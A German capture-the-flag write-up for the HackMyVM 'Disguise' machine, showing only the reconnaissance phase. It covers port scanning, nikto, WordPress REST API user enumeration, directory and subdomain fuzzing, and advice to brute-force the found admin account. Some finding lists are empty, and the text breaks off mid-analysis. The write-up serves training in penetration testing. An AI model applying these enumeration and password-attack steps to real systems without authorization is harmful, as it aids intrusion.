Disguise - HackMyVM - Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
nikto
curl
jq
gobuster
wfuzz
vi
wpscan
hydra
nano
mysql
php
sqlmap
nc (netcat)
python3
wget
chmod
find
stty
ls
cat
sudo
systemctl
ps
pspy64
gcc
docker
podman
make
cp
rm
mkdir
touch
echo
export
env
dmesg
getcap
uname
crunch
suForce
grep
awk

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~] └─# arp-scan -l | grep "PCS" | awk '{print $1}'
192.168.2.189
                    

Analyse: Der Befehl `arp-scan -l` sendet ARP-Requests (Address Resolution Protocol) an alle Geräte im lokalen Netzwerk, um deren IP- und MAC-Adressen zu ermitteln. Die Option `-l` steht für `--localnet` und bewirkt, dass die Adressen aus der Konfiguration der Netzwerkschnittstellen ermittelt werden. Die Ausgabe wird dann durch `grep "PCS"` gefiltert, um Zeilen zu finden, die "PCS" enthalten (typischerweise Teil des Herstellernamens "PCS Systemtechnik GmbH", oft mit VirtualBox assoziiert). Schließlich extrahiert `awk '{print $1}'` die erste Spalte dieser gefilterten Zeilen, welche die IP-Adresse ist. In diesem Fall wurde die IP-Adresse 192.168.2.189 identifiziert.

Bewertung: Dieser Schritt ist ein grundlegender Teil der Reconnaissance-Phase in einem lokalen Netzwerk. Er ist effektiv, um schnell aktive Hosts zu identifizieren, insbesondere wenn ICMP-Pings (Ping-Scans) möglicherweise blockiert sind. Die Kombination mit `grep` und `awk` ist eine gängige Methode, um die Ausgabe auf die gewünschten Informationen zu reduzieren.

Empfehlung (Pentester): `arp-scan` ist ein exzellentes Tool für die anfängliche Host-Discovery im LAN. Für eine umfassendere Sichtweise könnten zusätzlich Tools wie `netdiscover` oder Nmap's Ping-Scan (`nmap -sn`) verwendet werden, falls ARP-Scans nicht die gewünschten Ergebnisse liefern oder um Ergebnisse zu verifizieren.
Empfehlung (Admin): Aus administrativer Sicht ist es wichtig, eine aktuelle Inventarliste aller Geräte im Netzwerk zu führen. Überwachungstools, die ungewöhnliche ARP-Aktivitäten (z.B. ARP-Spoofing) erkennen, können die Netzwerksicherheit erhöhen.

┌──(root㉿CCat)-[~] └─# nmap -sC -sS -sV -T5 -A 192.168.2.189 -p- | grep open
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
                    

Analyse: Dieser Nmap-Befehl führt einen umfassenden Scan auf der zuvor identifizierten IP-Adresse 192.168.2.189 durch.

Die Ausgabe zeigt, dass Port 22 (SSH) mit OpenSSH 7.9p1 und Port 80 (HTTP) mit Apache httpd 2.4.59 offen sind.

Bewertung: Der Nmap-Scan hat erfolgreich die offenen Ports und die darauf laufenden Dienste inklusive ihrer Versionen identifiziert. Dies sind die primären Angriffsvektoren für die weitere Untersuchung. Die Verwendung von `-T5` und `-A` beschleunigt den Prozess, kann aber auch dazu führen, dass der Scan von Sicherheitssystemen eher erkannt wird. Das Filtern mit `grep open` ist nützlich für eine schnelle Übersicht.

Empfehlung (Pentester): Die identifizierten Dienste (SSH und HTTP) sind die nächsten logischen Ziele für die Enumeration. Für HTTP sollte eine Web-Enumeration (Verzeichnisse, Dateien, Technologien) folgen. Für SSH könnten Benutzername-Enumeration und Passwort-Angriffe in Betracht gezogen werden, falls schwache Anmeldeinformationen vermutet werden.
Empfehlung (Admin): Stellen Sie sicher, dass alle laufenden Dienste auf dem neuesten Stand sind und keine bekannten Schwachstellen aufweisen. Beschränken Sie den Zugriff auf Dienste nur auf notwendige Quellen. Für SSH sollten starke Passwörter oder besser Key-basierte Authentifizierung verwendet werden. Webserver sollten gehärtet und regelmäßig auf Schwachstellen überprüft werden.

┌──(root㉿CCat)-[~] └─# nmap -sC -sS -sV -T5 -A 192.168.2.189 -p-
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-02 17:07 CEST
Nmap scan report for disguise (192.168.2.189)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey: 
|   2048 93:a4:92:55:72:2b:9b:4a:52:66:5c:af:a9:83:3c:fd (RSA)
|   256 1e:a7:44:0b:2c:1b:0d:77:83:df:1d:9f:0e:30:08:4d (ECDSA)
|_  256 d0:fa:9d:76:77:42:6f:91:d3:bd:b5:44:72:a7:c9:71 (ED25519)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
|_http-generator: WordPress 6.7.2
|_http-title: Just a simple wordpress site
|_http-server-header: Apache/2.4.59 (Debian)
MAC Address: 08:00:27:4A:C4:30 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms disguise (192.168.2.189)

OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/] .
Nmap done: 1 IP address (1 host up) scanned in 11.08 seconds
                    

Analyse: Dies ist die vollständige Ausgabe des vorherigen Nmap-Befehls (ohne `| grep open`). Sie liefert detailliertere Informationen:

Bewertung: Die vollständige Nmap-Ausgabe ist extrem wertvoll. Die Entdeckung von WordPress 6.7.2 ist ein wichtiger Anhaltspunkt, da WordPress-Installationen, Themes und Plugins häufig Schwachstellen aufweisen. Die genauen Versionen von OpenSSH und Apache sind nützlich für die Schwachstellenrecherche. Die OS-Informationen sind hilfreich, um später potenzielle Kernel-Exploits oder systemspezifische Angriffe zu berücksichtigen. Die Information, dass es sich um eine VirtualBox VM handelt, ist für den Kontext des Pentests (z.B. HackMyVM) relevant.

Empfehlung (Pentester): Der Fokus sollte nun stark auf die WordPress-Instanz gelegt werden. Tools wie `wpscan` sind unerlässlich, um Themes, Plugins, Benutzer und bekannte Schwachstellen zu enumerieren. Für Apache könnten spezifische Konfigurationsfehler oder Modulschwachstellen gesucht werden (z.B. mit Nikto). Für SSH bleibt die Möglichkeit von Brute-Force-Angriffen, falls Benutzernamen bekannt werden.
Empfehlung (Admin): WordPress und alle zugehörigen Themes/Plugins müssen dringend auf dem neuesten Stand gehalten werden. Nicht benötigte Themes/Plugins sollten deinstalliert werden. Starke, einzigartige Passwörter für alle WordPress-Benutzer sind ein Muss, ebenso wie für den SSH-Zugang. Regelmäßige Sicherheitsaudits der Webanwendung und des Servers sind empfohlen.

Web Enumeration

┌──(root㉿CCat)-[~] └─# nikto -h http://disgus.hmv
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.189
+ Target Hostname:    disgus.hmv
+ Target Port:        80
+ Start Time:         2025-05-02 17:19:30 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.59 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: Drupal Link header found with value: <http://disguise.hmv/wp-json/>; rel="https://api.w.org/". See: [Link: https://www.drupal.org/ | Ziel: https://www.drupal.org/]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ /cRCVIosa.: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 2 entries which should be manually viewed. See: [Link: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt | Ziel: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt]
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
                    

Analyse: Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien/Verzeichnisse prüft. Der Befehl `nikto -h http://disgus.hmv` scannt die Webseite unter der angegebenen Hostnamen (setzt voraus, dass `disgus.hmv` in der `/etc/hosts`-Datei des Angreifers auf die IP 192.168.2.189 verweist). Wichtige Funde:

Bewertung: Nikto liefert wertvolle Hinweise auf Sicherheits-Header, die fehlen, und bestätigt die Präsenz von WordPress. Der "Drupal Link header" ist ein kleiner Ausreißer, der aber wahrscheinlich auf die WordPress REST API (`wp-json`) zurückzuführen ist. Die Funde bezüglich der fehlenden HTTP-Security-Header sind typische "Low Hanging Fruits", die die allgemeine Sicherheit der Webanwendung verbessern könnten. Die Existenz von `robots.txt` ist ein Standardfund und erfordert eine manuelle Überprüfung.

Empfehlung (Pentester): Die `robots.txt` sollte als Nächstes manuell überprüft werden. Die WordPress REST API (`/wp-json/`) ist ein bekanntes Ziel für die Benutzer-Enumeration. Die gemeldeten fehlenden Security-Header sind zwar an sich keine direkten Einfallstore, sollten aber im Bericht erwähnt werden.
Empfehlung (Admin): Implementieren Sie die fehlenden HTTP-Security-Header: `X-Frame-Options: SAMEORIGIN` (oder `DENY`) und `X-Content-Type-Options: nosniff`. Überprüfen Sie die Notwendigkeit und Konfiguration des `x-redirect-by` Headers. Der Inhalt der `robots.txt` sollte darauf geprüft werden, ob er sensible Pfade preisgibt, die besser nicht öffentlich bekannt sein sollten.

http://disgus.hmv/robots.txt

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
                    

Analyse: Dies ist der Inhalt der Datei `robots.txt`, die von Nikto gefunden wurde und hier manuell abgerufen wird.

Bewertung: Der Inhalt der `robots.txt` ist Standard für eine WordPress-Seite. Sie verbirgt den Admin-Bereich vor Suchmaschinen, was eine gute Praxis ist, aber keinen echten Schutz vor gezielten Angriffen darstellt, da der Pfad allgemein bekannt ist. Die explizite Erlaubnis für `admin-ajax.php` ist ebenfalls normal.

Empfehlung (Pentester): Obwohl `/wp-admin/` bekannt ist, bestätigt dies den Pfad zum Login-Bereich. `admin-ajax.php` kann manchmal für die Enumeration von Plugin-Aktionen oder für Schwachstellen in AJAX-Funktionen interessant sein.
Empfehlung (Admin): Die `robots.txt` ist korrekt konfiguriert. Zusätzliche Sicherheitsmaßnahmen für den `/wp-admin/`-Bereich (IP-Whitelisting, 2FA, HTTP-Auth) sind dennoch sinnvoll.

┌──(root㉿CCat)-[~] └─# curl -s http://disguise.hmv/wp-json/WP/V2/users/1 | jq
{
  "id": 1,
  "name": "simpleAdmin",
  "url": "http://disguise.hmv",
  "description": "",
  "link": "http://disguise.hmv/author/simpleadmin/",
  "slug": "simpleadmin",
  "avatar_urls": {
    "24": "https://secure.gravatar.com/avatar/d3a57b149cd6e0e91d594f2e5c5492135cbfa87a952c49406829077629a5ba54?s=24&d=mm&r=g",
    "48": "https://secure.gravatar.com/avatar/d3a57b149cd6e0e91d594f2e5c5492135cbfa87a952c49406829077629a5ba54?s=48&d=mm&r=g",
    "96": "https://secure.gravatar.com/avatar/d3a57b149cd6e0e91d594f2e5c5492135cbfa87a952c49406829077629a5ba54?s=96&d=mm&r=g"
  },
  "meta": [],
  "_links": {
    "self": [
      {
        "href": "http://disguise.hmv/wp-json/wp/v2/users/1",
        "targetHints": {
          "allow": [
            "GET"
          ]
        }
      }
    ],
    "collection": [
      {
        "href": "http://disguise.hmv/wp-json/wp/v2/users"
      }
    ]
  }
}
                    

Analyse: Dieser `curl`-Befehl fragt Benutzerinformationen für die Benutzer-ID `1` über die WordPress REST API (`/wp-json/wp/v2/users/1`) ab. Die Option `-s` unterdrückt Fortschrittsinformationen und `jq` formatiert die JSON-Antwort. Die Antwort ist erfolgreich und enthüllt den Benutzernamen (`name` und `slug`) als **"simpleAdmin"**. Dies ist oft der Standard-Administratorbenutzer, der bei der WordPress-Installation erstellt wird.

Bewertung: Die Enumeration von Benutzernamen über die WordPress REST API ist eine bekannte und oft erfolgreiche Methode. Die Bestätigung des Benutzernamens "simpleAdmin" ist ein kritischer Informationsgewinn, da Benutzernamen die Hälfte der Anmeldeinformationen darstellen und für Brute-Force- oder Passwort-Spraying-Angriffe benötigt werden.

Empfehlung (Pentester): Der gefundene Benutzername "simpleAdmin" sollte für Passwortangriffe auf den WordPress-Login (`/wp-login.php`) und potenziell auch SSH verwendet werden, falls Benutzernamen systemweit wiederverwendet werden. Testen Sie weitere Benutzer-IDs (wie im nächsten Schritt), um zusätzliche Benutzer zu finden.
Empfehlung (Admin): Der Zugriff auf Benutzerinformationen über die REST API sollte eingeschränkt werden, wenn nicht unbedingt öffentlich benötigt. Plugins können hier helfen, die API-Endpunkte feingranular zu steuern oder ganz zu deaktivieren. Verwenden Sie keine leicht zu erratenden oder Standard-Benutzernamen wie "admin" oder Variationen davon. Für kritische Benutzerkonten sollte Zwei-Faktor-Authentifizierung (2FA) aktiviert werden.

┌──(root㉿CCat)-[~] └─# curl -s http://disguise.hmv/wp-json/WP/V2/users/2 | jq
{
  "code": "rest_user_invalid_id",
  "message": "Invalid user ID.",
  "data": {
    "status": 404
  }
}
                    

Analyse: Dieser `curl`-Befehl versucht, Informationen für die Benutzer-ID `2` über die WordPress REST API abzufragen. Die API antwortet mit einem Fehler `rest_user_invalid_id` und dem Statuscode 404. Dies bedeutet, dass kein Benutzer mit der ID `2` existiert oder der Zugriff darauf nicht erlaubt ist (wahrscheinlicher ist, dass der Benutzer nicht existiert).

Bewertung: Dieser Test zeigt, dass Benutzer-IDs nicht unbedingt sequentiell sind oder dass nach ID 1 keine weiteren Benutzer (zumindest nicht mit ID 2) öffentlich über die API enumerierbar sind. Dies schränkt die einfache Enumeration weiterer Benutzer über diesen spezifischen Weg ein.

Empfehlung (Pentester): Versuchen Sie andere Methoden zur Benutzerenumeration, z.B. über WPScan (`wpscan --enumerate u`), Login-Fehlermeldungen oder durch Analyse von Autoren-Archivseiten.
Empfehlung (Admin): Die Empfehlungen zur Absicherung der REST API bleiben gültig.

http://disguise.hmv/wp-login.php

Error: The password you entered for the username 
       simpleadmin is incorrect. Lost your password?
                    

Analyse: Diese Ausgabe stammt vermutlich von einem manuellen Login-Versuch auf der WordPress-Anmeldeseite (`http://disguise.hmv/wp-login.php`) mit dem zuvor enumerierten Benutzernamen "simpleAdmin" und einem geratenen oder falschen Passwort.

Bewertung: Die Fehlermeldung "The password you entered for the username simpleadmin is incorrect" bestätigt erneut, dass der Benutzername "simpleadmin" auf dem System existiert. Dies ist eine weitere Verifizierung des Benutzernamens. WordPress gibt standardmäßig preis, ob der Benutzername oder das Passwort falsch ist, was Angreifern hilft, Benutzernamen zu validieren.

Empfehlung (Pentester): Da der Benutzername bestätigt ist, können nun gezielte Brute-Force- oder Passwort-Spraying-Angriffe mit Passwortlisten gegen "simpleadmin" gestartet werden. Tools wie `wpscan` oder `hydra` sind hierfür geeignet.
Empfehlung (Admin): Konfigurieren Sie WordPress so, dass es generische Fehlermeldungen ausgibt (z.B. "Ungültige Anmeldeinformationen"), die nicht preisgeben, ob der Benutzername oder das Passwort falsch war. Implementieren Sie Mechanismen zur Begrenzung von Anmeldeversuchen (Login Lockout), um Brute-Force-Angriffe zu erschweren. Verwenden Sie starke, einzigartige Passwörter und aktivieren Sie 2FA.

┌──(root㉿CCat)-[~] └─# gobuster dir -u http://disgus.hmv -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map -b '503,404' -e --no-error -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://disgus.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404
[+] User Agent:              gobuster/3.6
[+] Extensions:              deb,bat,py,lib,dll,java,eps,kdbx,pem,zip,docx,raw,csh,diff,js.map,html,pdf,json,pl,jpg,icon,pub,accdb,exp,rpm,phtml,ELF,old,ps1,gz,bak,conf,c,desc,doc,sh,crt,config,asp,xml,cgi,csv,elf,rar,mdb,exe,rtf,xlsx,svg,tar,db,png,jpeg,mod,sql,aspx,ln,txt,php,xls
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://disgus.hmv/index.php            (Status: 301) [Size: 0] [--> http://disgus.hmv/]
http://disgus.hmv/wp-content           (Status: 301) [Size: 313] [--> http://disgus.hmv/wp-content/]
http://disgus.hmv/.php                 (Status: 403) [Size: 275]
http://disgus.hmv/.html                (Status: 403) [Size: 275]
http://disgus.hmv/.phtml               (Status: 403) [Size: 275]
http://disgus.hmv/rss                  (Status: 301) [Size: 0] [--> http://disgus.hmv/feed/]
http://disgus.hmv/login                (Status: 302) [Size: 0] [--> http://disguise.hmv/wp-login.php]
http://disgus.hmv/login.php            (Status: 302) [Size: 0] [--> http://disguise.hmv/wp-login.php]
http://disgus.hmv/0                    (Status: 301) [Size: 0] [--> http://disgus.hmv/0/]
http://disgus.hmv/feed                 (Status: 301) [Size: 0] [--> http://disgus.hmv/feed/]
http://disgus.hmv/atom                 (Status: 301) [Size: 0] [--> http://disgus.hmv/feed/atom/]
http://disgus.hmv/wp-content           (Status: 301) [Size: 313] [--> http://disgus.hmv/wp-content/]
http://disgus.hmv/admin                (Status: 302) [Size: 0] [--> http://disguise.hmv/wp-admin/]
Progress: 27619 / 13456722 (0.21%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 27619 / 13456722 (0.21%)
===============================================================
Finished
===============================================================
                    

Analyse: Gobuster wird verwendet, um Verzeichnisse und Dateien auf `http://disgus.hmv` zu bruteforcen. Eine mittelgroße Wortliste (`directory-list-2.3-medium.txt`) und eine sehr umfangreiche Liste von Dateierweiterungen (`-x ...`) werden genutzt. Der Scan wurde nach kurzer Zeit (0.21% Fortschritt) manuell mit `Strg+C` abgebrochen. Die gefundenen Einträge sind Standard-WordPress-Pfade oder Dateien, die entweder Weiterleitungen (301, 302) oder Zugriffsverweigerungen (403) zurückgeben.

Bewertung: Der Gobuster-Scan wurde zu früh abgebrochen, um umfassende Ergebnisse zu liefern. Die bisherigen Funde bestätigen lediglich die bekannte WordPress-Struktur. Die extrem lange Liste an Erweiterungen verlangsamt den Scan erheblich und ist möglicherweise nicht zielführend für eine typische WordPress-Seite.

Empfehlung (Pentester): Der Gobuster-Scan sollte idealerweise vollständig durchlaufen oder mit einer fokussierteren Wortliste und relevanteren Erweiterungen (z.B. nur `php,html,txt,bak,zip,js`) wiederholt werden, um die Effizienz zu steigern. Manchmal können auch kleinere, spezifischere Wortlisten (z.B. für WordPress-Plugins oder -Themes) nützlich sein. Es ist wichtig, die Balance zwischen Gründlichkeit und Zeitaufwand zu finden. Alternative Tools wie `feroxbuster` oder `dirsearch` könnten ebenfalls in Betracht gezogen werden.
Empfehlung (Admin): Webserver sollten so konfiguriert sein, dass sie keine unnötigen Informationen preisgeben (z.B. durch Server-Banner oder detaillierte Fehlerseiten). Verzeichnisauflistungen sollten deaktiviert sein. Eine Web Application Firewall (WAF) kann helfen, Brute-Force-Scans zu erkennen und zu blockieren.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://disguise.hmv" -H "Host: FUZZ.disguise.hmv" --hc "404" --hh 78369
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://disguise.hmv/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                      
=====================================================================

000000001:   301        0 L      0 W        0 Ch        "www"                        
000005051:   200        18 L     52 W       846 Ch      "dark"                        
 
Total time: 0
Processed Requests: 11833
Filtered Requests: 11829
Requests/sec.: 0
                    

Analyse: Wfuzz wird hier für das Fuzzing von Subdomains (Virtual Hosts) verwendet, indem der `Host`-Header manipuliert wird.

Der Scan fand zwei interessante Payloads, die nicht durch die Filter versteckt wurden: Der Scan scheint nicht vollständig durchgelaufen zu sein (nur 11833 von 114441 Requests verarbeitet).

Bewertung: Die Entdeckung der Subdomain `dark.disguise.hmv` ist ein signifikanter Fortschritt. Oft hosten Subdomains unterschiedliche Anwendungen oder Konfigurationen. Die Filterung mit `--hh` war hier effektiv, um relevante Ergebnisse hervorzuheben.

Empfehlung (Pentester): Die neu entdeckte Subdomain `dark.disguise.hmv` muss nun als separates Ziel behandelt und einer vollständigen Enumeration unterzogen werden (Portscan, Verzeichnis-Brute-Force, Technologieerkennung etc.). Der Eintrag `dark.disguise.hmv` sollte zur lokalen `/etc/hosts`-Datei hinzugefügt werden, um auf die korrekte IP-Adresse des Ziels zu verweisen.
Empfehlung (Admin): Stellen Sie sicher, dass alle konfigurierten Virtual Hosts notwendig und ordnungsgemäß gesichert sind. Nicht verwendete oder veraltete VHosts sollten entfernt werden. Führen Sie regelmäßige Scans auf Subdomains durch, um den Überblick über die eigene Web-Infrastruktur zu behalten (Asset Management).

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
                           
192.168.2.189   dark.disguise.hmv disguise.hmv
                    

Analyse: Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im Texteditor `vi`. Der Inhalt zeigt, dass ein Eintrag hinzugefügt wurde, der die IP-Adresse `192.168.2.189` sowohl dem Hostnamen `dark.disguise.hmv` als auch `disguise.hmv` zuordnet.

Bewertung: Dies ist ein notwendiger Schritt, um sicherzustellen, dass der angreifende Rechner Anfragen an `dark.disguise.hmv` und `disguise.hmv` korrekt an die IP-Adresse des Zielsystems sendet, insbesondere wenn kein interner DNS-Server diese Namen auflöst. Ohne diesen Eintrag würden Anfragen an diese Hostnamen wahrscheinlich ins Leere laufen oder vom öffentlichen DNS aufgelöst werden.

Empfehlung (Pentester): Das Bearbeiten der `/etc/hosts`-Datei ist Standardpraxis bei der Arbeit mit nicht öffentlich auflösbaren Hostnamen im internen Netzwerk oder beim Testen von Virtual Hosts. Es ist wichtig, diese Einträge nach Abschluss des Tests wieder zu entfernen oder auszukommentieren, um zukünftige Namensauflösungsprobleme zu vermeiden.
Empfehlung (Admin): Für interne Dienste sollten idealerweise interne DNS-Server verwendet werden, um eine zentrale Verwaltung der Namensauflösung zu gewährleisten. Die manuelle Bearbeitung von Hosts-Dateien auf vielen Clients ist fehleranfällig und schlecht skalierbar.

┌──(root㉿CCat)-[~] └─# gobuster dir -u http://dark.disguise.hmv -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map -b '503,404' -e --no-error -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dark.disguise.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404
[+] User Agent:              gobuster/3.6
[+] Extensions:              conf,lib,ln,jpg,sh,py,pdf,db,kdbx,config,diff,rar,bat,jpeg,phtml,pem,eps,js.map,aspx,exe,gz,cgi,php,pub,xls,icon,zip,sql,bak,c,java,csh,mod,txt,accdb,xlsx,mdb,doc,xml,csv,dll,html,json,deb,desc,raw,crt,exp,tar,old,pl,rpm,elf,ELF,ps1,asp,png,rtf,svg,docx
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://dark.disguise.hmv/index.php            (Status: 200) [Size: 873]
http://dark.disguise.hmv/.html                (Status: 403) [Size: 282]
http://dark.disguise.hmv/.phtml               (Status: 403) [Size: 282]
http://dark.disguise.hmv/.php                 (Status: 403) [Size: 282]
http://dark.disguise.hmv/images               (Status: 301) [Size: 323] [--> http://dark.disguise.hmv/images/]
http://dark.disguise.hmv/login.php            (Status: 200) [Size: 1134]
http://dark.disguise.hmv/register.php         (Status: 200) [Size: 2103]
http://dark.disguise.hmv/profile.php          (Status: 302) [Size: 0] [--> login.php]
http://dark.disguise.hmv/logout.php           (Status: 302) [Size: 0] [--> login.php]
http://dark.disguise.hmv/config.php           (Status: 200) [Size: 0]
http://dark.disguise.hmv/captcha.php          (Status: 200) [Size: 357]
http://dark.disguise.hmv/functions.php        (Status: 200) [Size: 0]
http://dark.disguise.hmv/manager              (Status: 301) [Size: 324] [--> http://dark.disguise.hmv/manager/]
http://dark.disguise.hmv/.phtml               (Status: 403) [Size: 282]
http://dark.disguise.hmv/.php                 (Status: 403) [Size: 282]
http://dark.disguise.hmv/.html                (Status: 403) [Size: 282]
                    

Analyse: Ein weiterer Gobuster-Scan, diesmal gezielt auf die neu entdeckte Subdomain `http://dark.disguise.hmv`. Die Parameter sind identisch zum vorherigen Gobuster-Scan auf die Hauptdomain. Wichtige Funde auf `dark.disguise.hmv`:

Der Scan scheint auch hier nicht vollständig ausgeführt worden zu sein (erkennbar am Fehlen der finalen "Finished"-Meldung und des Fortschrittsindikators am Ende).

Bewertung: Dieser Scan auf der Subdomain `dark.disguise.hmv` hat eine völlig andere Anwendungsstruktur als die WordPress-Seite auf der Hauptdomain aufgedeckt. Die Existenz von `login.php`, `register.php`, `config.php` (auch wenn Size 0) und einem `manager/`-Verzeichnis deutet auf eine benutzerdefinierte Anwendung oder ein anderes CMS/Framework hin. `config.php` und `functions.php` mit einer Größe von 0 sind verdächtig und könnten entweder leer sein oder der Zugriff auf ihren Inhalt wird blockiert, obwohl die Dateien existieren. Der `manager/`-Pfad ist ein primäres Ziel für weitere Untersuchungen.

Empfehlung (Pentester): Die Seite `dark.disguise.hmv` muss gründlich manuell untersucht werden: Registrierungsfunktion testen, Login-Seite auf Schwachstellen (SQLi, Username-Enumeration) prüfen. Das `manager/`-Verzeichnis ist besonders interessant und sollte ebenfalls mit Gobuster oder manuell weiter exploriert werden. Versuchen, den Inhalt von `config.php` und `functions.php` zu lesen (z.B. durch Local File Inclusion (LFI), falls eine solche Schwachstelle gefunden wird). Die Anwendung scheint PHP-basiert zu sein.
Empfehlung (Admin): Sichern Sie alle benutzerdefinierten Anwendungen sorgfältig. Führen Sie Code-Audits durch, um Schwachstellen wie SQL-Injection, XSS, LFI etc. zu identifizieren. Stellen Sie sicher, dass Konfigurationsdateien (`config.php`) keine sensiblen Informationen preisgeben und nicht direkt über den Webserver zugänglich sind (z.B. außerhalb des Web-Roots speichern oder den Zugriff per `.htaccess` blockieren). Deaktivieren Sie die Registrierungsfunktion, wenn sie nicht benötigt wird.

┌──(root㉿CCat)-[~] └─# nikto -h http://dark.disguise.hmv
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.189
+ Target Hostname:    dark.disguise.hmv
+ Target Port:        80
+ Start Time:         2025-05-02 17:52:04 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.59 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ /: Cookie PHPSESSID created without the httponly flag. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /database.tar.bz2: Drupal Link header found with value: <http://disguise.hmv/wp-json/>; rel="https://api.w.org/". See: [Link: https://www.drupal.org/ | Ziel: https://www.drupal.org/]
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ http://127.0.0.1:2301/%20HTTP/1.0: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /icons/README: Apache default file found. See: [Link: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ | Ziel: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/]
+ /login.php: Admin login page/section found.
+ 8046 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2025-05-02 17:52:29 (GMT2) (25 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Nikto-Scan auf die Subdomain `dark.disguise.hmv`. Wichtige Funde:

